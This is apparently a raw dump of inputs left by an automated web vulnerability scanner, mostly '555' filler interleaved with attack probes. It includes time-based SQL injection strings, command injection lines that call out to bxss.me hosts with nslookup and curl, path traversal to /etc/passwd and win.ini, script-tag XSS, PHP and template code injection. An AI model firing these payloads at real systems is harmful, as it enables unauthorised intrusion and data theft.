555&echo xfzrib$()\ tnwzks\nz^xyu||a #' &echo xfzrib$()\ tnwzks\nz^xyu||a #|" &echo xfzrib$()\ tnwzks\nz^xyu||a #
555
555
555
555
555
555
555
|echo uzgfva$()\ exvcay\nz^xyu||a #' |echo uzgfva$()\ exvcay\nz^xyu||a #|" |echo uzgfva$()\ exvcay\nz^xyu||a #
555
555
555|echo yxpvfi$()\ evnequ\nz^xyu||a #' |echo yxpvfi$()\ evnequ\nz^xyu||a #|" |echo yxpvfi$()\ evnequ\nz^xyu||a #
555
555
555
555
555
555
555
555
(nslookup -q=cname hitixomogylnuf9345.bxss.me||curl hitixomogylnuf9345.bxss.me))
555
555
555\u003CScRiPt\svKI(9913)\u003C/sCripT\u003E
555
555
555
555
555
$(nslookup -q=cname hitppmeywrjwucd2e7.bxss.me||curl hitppmeywrjwucd2e7.bxss.me)
555
555
555
555
555
&nslookup -q=cname hitfkoqeistzy065f6.bxss.me&'\"`0&nslookup -q=cname hitfkoqeistzy065f6.bxss.me&`'
555
555
555
555
555
&(nslookup -q=cname hitoxrvpjzhey96c08.bxss.me||curl hitoxrvpjzhey96c08.bxss.me)&'\"`0&(nslookup -q=cname hitoxrvpjzhey96c08.bxss.me||curl hitoxrvpjzhey96c08.bxss.me)&`'
555
|(nslookup -q=cname hitvtvyqhogrsa5ffc.bxss.me||curl hitvtvyqhogrsa5ffc.bxss.me)
555
'"()
555
555
`(nslookup -q=cname hitfayrrzixqd9f87c.bxss.me||curl hitfayrrzixqd9f87c.bxss.me)`
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
555'&&sleep(27*1000)*excknl&&'
555
555
;(nslookup -q=cname hitiuotzokxjw7d864.bxss.me||curl hitiuotzokxjw7d864.bxss.me)|(nslookup -q=cname hitiuotzokxjw7d864.bxss.me||curl hitiuotzokxjw7d864.bxss.me)&(nslookup -q=cname hitiuotzokxjw7d864.bxss.me||curl hitiuotzokxjw7d864.bxss.me)
555"&&sleep(27*1000)*rwbbgz&&"
';print(md5(31337));$a='
555
|(nslookup${IFS}-q${IFS}cname${IFS}hithmovgcblsma18d1.bxss.me||curl${IFS}hithmovgcblsma18d1.bxss.me)
555
555'||sleep(27*1000)*fqhfhh||'
";print(md5(31337));$a="
&(nslookup${IFS}-q${IFS}cname${IFS}hitpdttleostk635d6.bxss.me||curl${IFS}hitpdttleostk635d6.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitpdttleostk635d6.bxss.me||curl${IFS}hitpdttleostk635d6.bxss.me)&`'
555
555"||sleep(27*1000)*yizuve||"
555
${@print(md5(31337))}
${@print(md5(31337))}\
555
'.print(md5(31337)).'
<?php print(md5(31337));?>
555
'{${print(md5(31337))}}'
print(md5(31337));//
{php}print(md5(31337));{/php}
[php]print(md5(31337));[/php]
555
555*if(now()=sysdate(),sleep(15),0)
555
555
555
555
555
555
555
555
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
555
555
555
555
555
555
555
555
555
555
555
555-1; waitfor delay '0:0:15' --
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555-1); waitfor delay '0:0:15' --
555
555
555-1 waitfor delay '0:0:15' --
555
555
555JJ6pL2iX'; waitfor delay '0:0:15' --
555
555
555
555
555
555
555-1 OR 635=(SELECT 635 FROM PG_SLEEP(15))--
555*if(now()=sysdate(),sleep(15),0)
555
555
555-1) OR 28=(SELECT 28 FROM PG_SLEEP(15))--
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
555
555
555-1)) OR 581=(SELECT 581 FROM PG_SLEEP(15))--
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
555
555ZnsnzxU7' OR 699=(SELECT 699 FROM PG_SLEEP(15))--
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
555
555
5550VvB3rP7') OR 14=(SELECT 14 FROM PG_SLEEP(15))--
555-1; waitfor delay '0:0:15' --
555
555963YmH70')) OR 99=(SELECT 99 FROM PG_SLEEP(15))--
555-1); waitfor delay '0:0:15' --
555
555
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
555-1 waitfor delay '0:0:15' --
555
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
555'"
555HTzpA5Fb'; waitfor delay '0:0:15' --
555
@@OVhup
555-1 OR 30=(SELECT 30 FROM PG_SLEEP(15))--
555
555
555
555
555-1) OR 662=(SELECT 662 FROM PG_SLEEP(15))--
555
555
555
555
555
555
555
555
555
555
555
555
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%3F.jpg
${10000083+9999311}
555
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.jpg
555
Http://bxss.me/t/fit.txt
555-1)) OR 547=(SELECT 547 FROM PG_SLEEP(15))--
555
)
555
555
http://bxss.me/t/fit.txt%3F.jpg
!(()&&!|*|*|
/etc/shells
555
^(#$!@#$)(()))******
../../../../../../../../../../../../../../etc/shells
c:/windows/win.ini
555
bxss.me
555
555
555
555
555
response.write(9891876*9115315)
555
'+response.write(9891876*9115315)+'
555
"+response.write(9891876*9115315)+"
555iFChZHU7' OR 517=(SELECT 517 FROM PG_SLEEP(15))--
555
555
555
555
555
555
555
555
555
555
ZmIzliZX
555
555
555
555
555
555
y89N4Bpj: QUa7Twci
555
555
555
555
555
555
555
555
55591EMMSQF') OR 204=(SELECT 204 FROM PG_SLEEP(15))--
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555<esi:include src="http://bxss.me/rpb.png"/>
555
555
555
555
555
555
555
555
555
555
12345'"\'\");|]*%00{%0d%0a<%00>%bf%27'💡
555
555
555
555
../../../../../../../../../../../../../../etc/passwd
555
555
555
echo uvaedf$()\ nfbakx\nz^xyu||a #' &echo uvaedf$()\ nfbakx\nz^xyu||a #|" &echo uvaedf$()\ nfbakx\nz^xyu||a #
555
../../../../../../../../../../../../../../windows/win.ini
555
&echo kiutts$()\ qtxeau\nz^xyu||a #' &echo kiutts$()\ qtxeau\nz^xyu||a #|" &echo kiutts$()\ qtxeau\nz^xyu||a #
555&echo kufedq$()\ tbzjdf\nz^xyu||a #' &echo kufedq$()\ tbzjdf\nz^xyu||a #|" &echo kufedq$()\ tbzjdf\nz^xyu||a #
file:///etc/passwd
555Wski9UZ4')) OR 452=(SELECT 452 FROM PG_SLEEP(15))--
555
555
|echo xbifpr$()\ ycwhxt\nz^xyu||a #' |echo xbifpr$()\ ycwhxt\nz^xyu||a #|" |echo xbifpr$()\ ycwhxt\nz^xyu||a #
555
"+"A".concat(70-3).concat(22*4).concat(97).concat(90).concat(99).concat(89)+(require"socket" Socket.gethostbyname("hitll"+"osgpidasf87e3.bxss.me.")[3].to_s)+"
555|echo xojrko$()\ onnjgp\nz^xyu||a #' |echo xojrko$()\ onnjgp\nz^xyu||a #|" |echo xojrko$()\ onnjgp\nz^xyu||a #
555
'.gethostbyname(lc('hittx'.'ywgnarqw1ce64.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(107).chr(82).chr(108).chr(77).'
../555
(nslookup -q=cname hitdamdwtcdvg9f193.bxss.me||curl hitdamdwtcdvg9f193.bxss.me))
".gethostbyname(lc("hitae"."glimwsvdae5c3.bxss.me."))."A".chr(67).chr(hex("58")).chr(115).chr(75).chr(114).chr(82)."
'+'A'.concat(70-3).concat(22*4).concat(112).concat(84).concat(97).concat(77)+(require'socket' Socket.gethostbyname('hitwq'+'tzlvdeqkd4206.bxss.me.')[3].to_s)+'
'A'.concat(70-3).concat(22*4).concat(100).concat(65).concat(113).concat(79)+(require'socket' Socket.gethostbyname('hitrr'+'egwxcjcce305b.bxss.me.')[3].to_s)
gethostbyname(lc('hitrf'.'uwywtaol1901b.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(108).chr(75).chr(116).chr(65)
$(nslookup -q=cname hitdnftxkiiab3c33e.bxss.me||curl hitdnftxkiiab3c33e.bxss.me)
&nslookup -q=cname hitjlyhiusfbfa5a66.bxss.me&'\"`0&nslookup -q=cname hitjlyhiusfbfa5a66.bxss.me&`'
555
555
555
555
&(nslookup -q=cname hitqsaeevfybm69ee0.bxss.me||curl hitqsaeevfybm69ee0.bxss.me)&'\"`0&(nslookup -q=cname hitqsaeevfybm69ee0.bxss.me||curl hitqsaeevfybm69ee0.bxss.me)&`'
555
555
555
555
555
|(nslookup -q=cname hitwmajxustfk5f128.bxss.me||curl hitwmajxustfk5f128.bxss.me)
555
`(nslookup -q=cname hitdahangoxav03853.bxss.me||curl hitdahangoxav03853.bxss.me)`
555
555
555
555
555
;(nslookup -q=cname hitpbwcbyelot17197.bxss.me||curl hitpbwcbyelot17197.bxss.me)|(nslookup -q=cname hitpbwcbyelot17197.bxss.me||curl hitpbwcbyelot17197.bxss.me)&(nslookup -q=cname hitpbwcbyelot17197.bxss.me||curl hitpbwcbyelot17197.bxss.me)
555
555
555
|(nslookup${IFS}-q${IFS}cname${IFS}hitdmavmwdjbi099b5.bxss.me||curl${IFS}hitdmavmwdjbi099b5.bxss.me)
555
555
555
555
&(nslookup${IFS}-q${IFS}cname${IFS}hitlhmbzdmyon3b108.bxss.me||curl${IFS}hitlhmbzdmyon3b108.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitlhmbzdmyon3b108.bxss.me||curl${IFS}hitlhmbzdmyon3b108.bxss.me)&`'
555
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
555
555
555
555
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
xfs.bxss.me
555
555
555
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
555
555
555
555
555'"
555
555
555
@@ElAy4
555
'"
555
555
555
555
<!--
555
555
555
555
555
555
555
555
555
555
555
555
'"()
555
555
555
555'&&sleep(27*1000)*wasjwr&&'
555
555
555
555
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
555"&&sleep(27*1000)*ldftiz&&"
';print(md5(31337));$a='
555
";print(md5(31337));$a="
555'||sleep(27*1000)*cvratt||'
555
${@print(md5(31337))}
555"||sleep(27*1000)*ifdxqy||"
555
${@print(md5(31337))}\
555
555
'.print(md5(31337)).'
555
<?php print(md5(31337));?>
555
'{${print(md5(31337))}}'
555
print(md5(31337));//
555*if(now()=sysdate(),sleep(15),0)
555
555
{php}print(md5(31337));{/php}
555
555
[php]print(md5(31337));[/php]
555
555
555
555
555
555
555
555
555
555
555
555
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
555
555
555
555
555
555
555
555
555
555
555
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
555
555
555-1; waitfor delay '0:0:15' --
555
555-1); waitfor delay '0:0:15' --
555
555-1 waitfor delay '0:0:15' --
555
555c9kxTcYK'; waitfor delay '0:0:15' --
555
555-1 OR 630=(SELECT 630 FROM PG_SLEEP(15))--
555
555-1) OR 573=(SELECT 573 FROM PG_SLEEP(15))--
555
555-1)) OR 719=(SELECT 719 FROM PG_SLEEP(15))--
555
555NTCm1LFU' OR 133=(SELECT 133 FROM PG_SLEEP(15))--
555
555
555cv2TYVHD') OR 935=(SELECT 935 FROM PG_SLEEP(15))--
555
555
555
555MHc3DVgc')) OR 326=(SELECT 326 FROM PG_SLEEP(15))--
555
555
555
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
555
555
555
555
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
555'"
555
555
@@7ykzi
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555*if(now()=sysdate(),sleep(15),0)
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
555
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
555-1; waitfor delay '0:0:15' --
555-1); waitfor delay '0:0:15' --
555-1 waitfor delay '0:0:15' --
5558OVFfP7l'; waitfor delay '0:0:15' --
555
555
555
555
555
555
555
)
555
!(()&&!|*|*|
555
555
^(#$!@#$)(()))******
555
555
555
555
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%3F.jpg
555
555
555
555
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.jpg
Http://bxss.me/t/fit.txt
555
http://bxss.me/t/fit.txt%3F.jpg
/etc/shells
555
555
555-1 OR 31=(SELECT 31 FROM PG_SLEEP(15))--
../../../../../../../../../../../../../../etc/shells
${10000319+10000454}
c:/windows/win.ini
bxss.me
555
555
555
555
555
response.write(9739782*9950968)
555
555
'+response.write(9739782*9950968)+'
555
555
"+response.write(9739782*9950968)+"
555
555
555
555
555
555
555
555
555
555
555
1KydyO2J
555
555
555
r08cmVTR: CBllSSfD
555
555
555
555
555
555
555
555
555
555
555
555
555-1) OR 646=(SELECT 646 FROM PG_SLEEP(15))--
555
555
555
555
555
555
555
555
555
555
echo abpimz$()\ ntkhsg\nz^xyu||a #' &echo abpimz$()\ ntkhsg\nz^xyu||a #|" &echo abpimz$()\ ntkhsg\nz^xyu||a #
555
555
555
555
555
&echo jodzzs$()\ jsscxi\nz^xyu||a #' &echo jodzzs$()\ jsscxi\nz^xyu||a #|" &echo jodzzs$()\ jsscxi\nz^xyu||a #
555
555
555
555&echo hjtzcn$()\ ymqjtg\nz^xyu||a #' &echo hjtzcn$()\ ymqjtg\nz^xyu||a #|" &echo hjtzcn$()\ ymqjtg\nz^xyu||a #
555
555
|echo erubwl$()\ mgopnj\nz^xyu||a #' |echo erubwl$()\ mgopnj\nz^xyu||a #|" |echo erubwl$()\ mgopnj\nz^xyu||a #
555
555<esi:include src="http://bxss.me/rpb.png"/>
555
555|echo bdbfkh$()\ rqmfer\nz^xyu||a #' |echo bdbfkh$()\ rqmfer\nz^xyu||a #|" |echo bdbfkh$()\ rqmfer\nz^xyu||a #
555
(nslookup -q=cname hitvfvdqtxfnv913ab.bxss.me||curl hitvfvdqtxfnv913ab.bxss.me))
555
555
555
12345'"\'\");|]*%00{%0d%0a<%00>%bf%27'💡
555
555
$(nslookup -q=cname hitafllqjadfj52118.bxss.me||curl hitafllqjadfj52118.bxss.me)
../../../../../../../../../../../../../../etc/passwd
'.gethostbyname(lc('hitcb'.'mzrlqarj7e25c.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(100).chr(71).chr(119).chr(86).'
555
&nslookup -q=cname hitcnmoerpjbebcd9c.bxss.me&'\"`0&nslookup -q=cname hitcnmoerpjbebcd9c.bxss.me&`'
555
../../../../../../../../../../../../../../windows/win.ini
&(nslookup -q=cname hitajmhjacrbt7d7eb.bxss.me||curl hitajmhjacrbt7d7eb.bxss.me)&'\"`0&(nslookup -q=cname hitajmhjacrbt7d7eb.bxss.me||curl hitajmhjacrbt7d7eb.bxss.me)&`'
".gethostbyname(lc("hitjv"."lqkasxqbec1a8.bxss.me."))."A".chr(67).chr(hex("58")).chr(110).chr(77).chr(109).chr(68)."
file:///etc/passwd
555
gethostbyname(lc('hitra'.'oikkxyccff42d.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(100).chr(83).chr(109).chr(73)
|(nslookup -q=cname hitkvhvpuzaop7b1f8.bxss.me||curl hitkvhvpuzaop7b1f8.bxss.me)
"+"A".concat(70-3).concat(22*4).concat(100).concat(80).concat(112).concat(71)+(require"socket" Socket.gethostbyname("hituu"+"yhrrletib5cf5.bxss.me.")[3].to_s)+"
555
'+'A'.concat(70-3).concat(22*4).concat(115).concat(79).concat(98).concat(86)+(require'socket' Socket.gethostbyname('hitxo'+'nttxxlwu89d6a.bxss.me.')[3].to_s)+'
555
../555
`(nslookup -q=cname hitgsfxedkwhp710cc.bxss.me||curl hitgsfxedkwhp710cc.bxss.me)`
'A'.concat(70-3).concat(22*4).concat(101).concat(88).concat(121).concat(66)+(require'socket' Socket.gethostbyname('hitmj'+'lbkfayjq95b23.bxss.me.')[3].to_s)
;(nslookup -q=cname hitmsvubqgtmt39285.bxss.me||curl hitmsvubqgtmt39285.bxss.me)|(nslookup -q=cname hitmsvubqgtmt39285.bxss.me||curl hitmsvubqgtmt39285.bxss.me)&(nslookup -q=cname hitmsvubqgtmt39285.bxss.me||curl hitmsvubqgtmt39285.bxss.me)
|(nslookup${IFS}-q${IFS}cname${IFS}hithigmvdssit4c5ab.bxss.me||curl${IFS}hithigmvdssit4c5ab.bxss.me)
&(nslookup${IFS}-q${IFS}cname${IFS}hitrkmjyusddf7b874.bxss.me||curl${IFS}hitrkmjyusddf7b874.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitrkmjyusddf7b874.bxss.me||curl${IFS}hitrkmjyusddf7b874.bxss.me)&`'
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555-1)) OR 713=(SELECT 713 FROM PG_SLEEP(15))--
555
555
555
555
555
555
555
555
555
555
555
555
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
555
555
555
555
555
555
555
555
555
xfs.bxss.me
555
555
555
'"()
555
555
555
555
555
555
555'&&sleep(27*1000)*aothah&&'
555
555
555
555"&&sleep(27*1000)*aulogg&&"
555
555
555
555'||sleep(27*1000)*ccqocz||'
555
'"
555
555"||sleep(27*1000)*apacjb||"
<!--
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
555
';print(md5(31337));$a='
555
";print(md5(31337));$a="
555
${@print(md5(31337))}
${@print(md5(31337))}\
555
555
555
'.print(md5(31337)).'
<?php print(md5(31337));?>
555
'{${print(md5(31337))}}'
print(md5(31337));//
555
555CYQk82hw' OR 382=(SELECT 382 FROM PG_SLEEP(15))--
555
{php}print(md5(31337));{/php}
555
555
[php]print(md5(31337));[/php]
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555bZZMTy0N') OR 672=(SELECT 672 FROM PG_SLEEP(15))--
555
555
555
555
555
555mfBcmCCX')) OR 591=(SELECT 591 FROM PG_SLEEP(15))--
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
555'"
@@3c3pS
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555*if(now()=sysdate(),sleep(15),0)
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
555
555-1; waitfor delay '0:0:15' --
555-1); waitfor delay '0:0:15' --
555-1 waitfor delay '0:0:15' --
555T8AtlYhu'; waitfor delay '0:0:15' --
555-1 OR 33=(SELECT 33 FROM PG_SLEEP(15))--
555-1) OR 39=(SELECT 39 FROM PG_SLEEP(15))--
555-1)) OR 124=(SELECT 124 FROM PG_SLEEP(15))--
555f9lPf9k6' OR 477=(SELECT 477 FROM PG_SLEEP(15))--
555qDPaDukB') OR 568=(SELECT 568 FROM PG_SLEEP(15))--
555
555oELh0cdh')) OR 332=(SELECT 332 FROM PG_SLEEP(15))--
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
555'"
@@rleo6
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555'"()&%<zzz><ScRiPt >s3Al(9534)</ScRiPt>
'"()&%<zzz><ScRiPt >s3Al(9779)</ScRiPt>
555
5559104195
555
bfg3108%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9hjl3108
555
bfgx8519%C0%BEz1%C0%BCz2a%90bcxhjl8519
555
<%={{={@{#{${dfb}}%>
555
<th:t="${dfb}#foreach
555
1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>
555
dfb{{98991*97996}}xca
555
dfb[[${98991*97996}]]xca
555
dfb__${98991*97996}__::.x
555
"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")
555
555<ScRiPt >s3Al(9542)</ScRiPt>
555
555
555
555
555
1DVpFBNYrgO
555
555
555
555
${9999761+9999641}
555
555
555
555
555
555
555
555<WCCO7C>0PSTB[!+!]</WCCO7C>
555
555
555
555
)
555
555
!(()&&!|*|*|
^(#$!@#$)(()))******
555
555
555
response.write(9358678*9452367)
'+response.write(9358678*9452367)+'
555
"+response.write(9358678*9452367)+"
555
555
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%3F.jpg
555
555
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.jpg
555
555
555
Http://bxss.me/t/fit.txt
555
555
555
http://bxss.me/t/fit.txt%3F.jpg
555
555
555
555
/etc/shells
555
555
555
../../../../../../../../../../../../../../etc/shells
555
c:/windows/win.ini
555
bxss.me
555
555
555
555
555
555
555
TXDaNLcV
8ZW2IrIP: d3VJMTs3
555<script>s3Al(9605)</script>
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
echo jhnotp$()\ tcwyuf\nz^xyu||a #' &echo jhnotp$()\ tcwyuf\nz^xyu||a #|" &echo jhnotp$()\ tcwyuf\nz^xyu||a #
../../../../../../../../../../../../../../etc/passwd
555
../../../../../../../../../../../../../../windows/win.ini
&echo lalybh$()\ euzlgk\nz^xyu||a #' &echo lalybh$()\ euzlgk\nz^xyu||a #|" &echo lalybh$()\ euzlgk\nz^xyu||a #
555
555
file:///etc/passwd
555&echo muhfcz$()\ lfmgba\nz^xyu||a #' &echo muhfcz$()\ lfmgba\nz^xyu||a #|" &echo muhfcz$()\ lfmgba\nz^xyu||a #
555
555
555
|echo lztrhv$()\ ztauym\nz^xyu||a #' |echo lztrhv$()\ ztauym\nz^xyu||a #|" |echo lztrhv$()\ ztauym\nz^xyu||a #
555
../555
555|echo hguazx$()\ vmwqap\nz^xyu||a #' |echo hguazx$()\ vmwqap\nz^xyu||a #|" |echo hguazx$()\ vmwqap\nz^xyu||a #
555
(nslookup -q=cname hiturxskyftgq71d6f.bxss.me||curl hiturxskyftgq71d6f.bxss.me))
555
$(nslookup -q=cname hitcncylgsejnb9ea0.bxss.me||curl hitcncylgsejnb9ea0.bxss.me)
12345'"\'\");|]*%00{%0d%0a<%00>%bf%27'💡
555
555
&nslookup -q=cname hitxzqhvxmmyn8eb94.bxss.me&'\"`0&nslookup -q=cname hitxzqhvxmmyn8eb94.bxss.me&`'
555<script>s3Al(9500)</script>9500
555
&(nslookup -q=cname hittqgeblucibaa34e.bxss.me||curl hittqgeblucibaa34e.bxss.me)&'\"`0&(nslookup -q=cname hittqgeblucibaa34e.bxss.me||curl hittqgeblucibaa34e.bxss.me)&`'
555
|(nslookup -q=cname hitctdlgrnlwfbf25a.bxss.me||curl hitctdlgrnlwfbf25a.bxss.me)
555
555
`(nslookup -q=cname hithnkufudiyf5fd37.bxss.me||curl hithnkufudiyf5fd37.bxss.me)`
555
555
;(nslookup -q=cname hitltbnanzldad7f22.bxss.me||curl hitltbnanzldad7f22.bxss.me)|(nslookup -q=cname hitltbnanzldad7f22.bxss.me||curl hitltbnanzldad7f22.bxss.me)&(nslookup -q=cname hitltbnanzldad7f22.bxss.me||curl hitltbnanzldad7f22.bxss.me)
555
|(nslookup${IFS}-q${IFS}cname${IFS}hitbznzqnvkvwf19b7.bxss.me||curl${IFS}hitbznzqnvkvwf19b7.bxss.me)
555
555
&(nslookup${IFS}-q${IFS}cname${IFS}hitqfjxsfygqh7dc99.bxss.me||curl${IFS}hitqfjxsfygqh7dc99.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitqfjxsfygqh7dc99.bxss.me||curl${IFS}hitqfjxsfygqh7dc99.bxss.me)&`'
555
555
555
555
555
555
555
555
555<esi:include src="http://bxss.me/rpb.png"/>
555
555
555
555
555
555
555
555
555
'.gethostbyname(lc('hitec'.'wcklflkc9b211.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(100).chr(87).chr(99).chr(69).'
".gethostbyname(lc("hitmo"."hfnlszrm31217.bxss.me."))."A".chr(67).chr(hex("58")).chr(103).chr(66).chr(103).chr(84)."
555
555
555
gethostbyname(lc('hitmb'.'jwwamfpwe0b97.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(115).chr(70).chr(104).chr(82)
"+"A".concat(70-3).concat(22*4).concat(117).concat(68).concat(121).concat(87)+(require"socket" Socket.gethostbyname("hitlk"+"sxcmwwjo04553.bxss.me.")[3].to_s)+"
'+'A'.concat(70-3).concat(22*4).concat(97).concat(79).concat(115).concat(76)+(require'socket' Socket.gethostbyname('hitdx'+'dztomtka30d40.bxss.me.')[3].to_s)+'
555%3C%53%63%52%3C%53%63%52%69%50%74%3E%49%70%54%3E%73%33%41%6C%28%39%38%35%36%29%3C%2F%73%43%72%3C%53%63%52%69%50%74%3E%49%70%54%3E
555
'A'.concat(70-3).concat(22*4).concat(107).concat(70).concat(112).concat(82)+(require'socket' Socket.gethostbyname('hitya'+'gbsjbxwj1bbd3.bxss.me.')[3].to_s)
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
555
555
555
555
xfs.bxss.me
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
'"
555
555
555
<!--
555
555
555
555
555
555
555
555<ScRiPt >s3Al(9736)</ScRiPt>
555
555
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
555
555
555
';print(md5(31337));$a='
555
555
'"()
";print(md5(31337));$a="
555
555'&&sleep(27*1000)*zzngyb&&'
${@print(md5(31337))}
555
555
555
555"&&sleep(27*1000)*jczjum&&"
${@print(md5(31337))}\
${9999920+10000124}
555
555
555
555'||sleep(27*1000)*vzapwy||'
'.print(md5(31337)).'
555
555
555
555"||sleep(27*1000)*zzxxhr||"
<?php print(md5(31337));?>
555
)
555
555
555
'{${print(md5(31337))}}'
!(()&&!|*|*|
555
555
555
555
print(md5(31337));//
555
^(#$!@#$)(()))******
555
555
{php}print(md5(31337));{/php}
555
555
[php]print(md5(31337));[/php]
555
555
555
555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9632></ScRiPt>
555
555
555
555
response.write(9584670*9279796)
7Tt144vw
555
555
'+response.write(9584670*9279796)+'
8nEU6CuA: m1xIzI7X
555
555
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%3F.jpg
555
555
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.jpg
"+response.write(9584670*9279796)+"
555
Http://bxss.me/t/fit.txt
555
555
555
http://bxss.me/t/fit.txt%3F.jpg
555
555
/etc/shells
555
555
555
555
555
../../../../../../../../../../../../../../etc/shells
555
555
555
c:/windows/win.ini
555
555
555
555
555< ScRiPt >s3Al(9313)</ScRiPt>
555
bxss.me
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555<esi:include src="http://bxss.me/rpb.png"/>
555
555
555
555
555
555
555
555
555
555
555
12345'"\'\");|]*%00{%0d%0a<%00>%bf%27'💡
555
555
555
555
555
555
555
555
555
../../../../../../../../../../../../../../etc/passwd
555
555
555
555
555
555
555
555
../../../../../../../../../../../../../../windows/win.ini
'.gethostbyname(lc('hitea'.'hgbriuiyfc32c.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(113).chr(68).chr(120).chr(69).'
555
555
555
555
"+"A".concat(70-3).concat(22*4).concat(111).concat(81).concat(114).concat(69)+(require"socket" Socket.gethostbyname("hitxa"+"qfcqrvor3b961.bxss.me.")[3].to_s)+"
".gethostbyname(lc("hitxi"."mdkxtmkea48e7.bxss.me."))."A".chr(67).chr(hex("58")).chr(114).chr(77).chr(100).chr(69)."
file:///etc/passwd
555
555
555
555
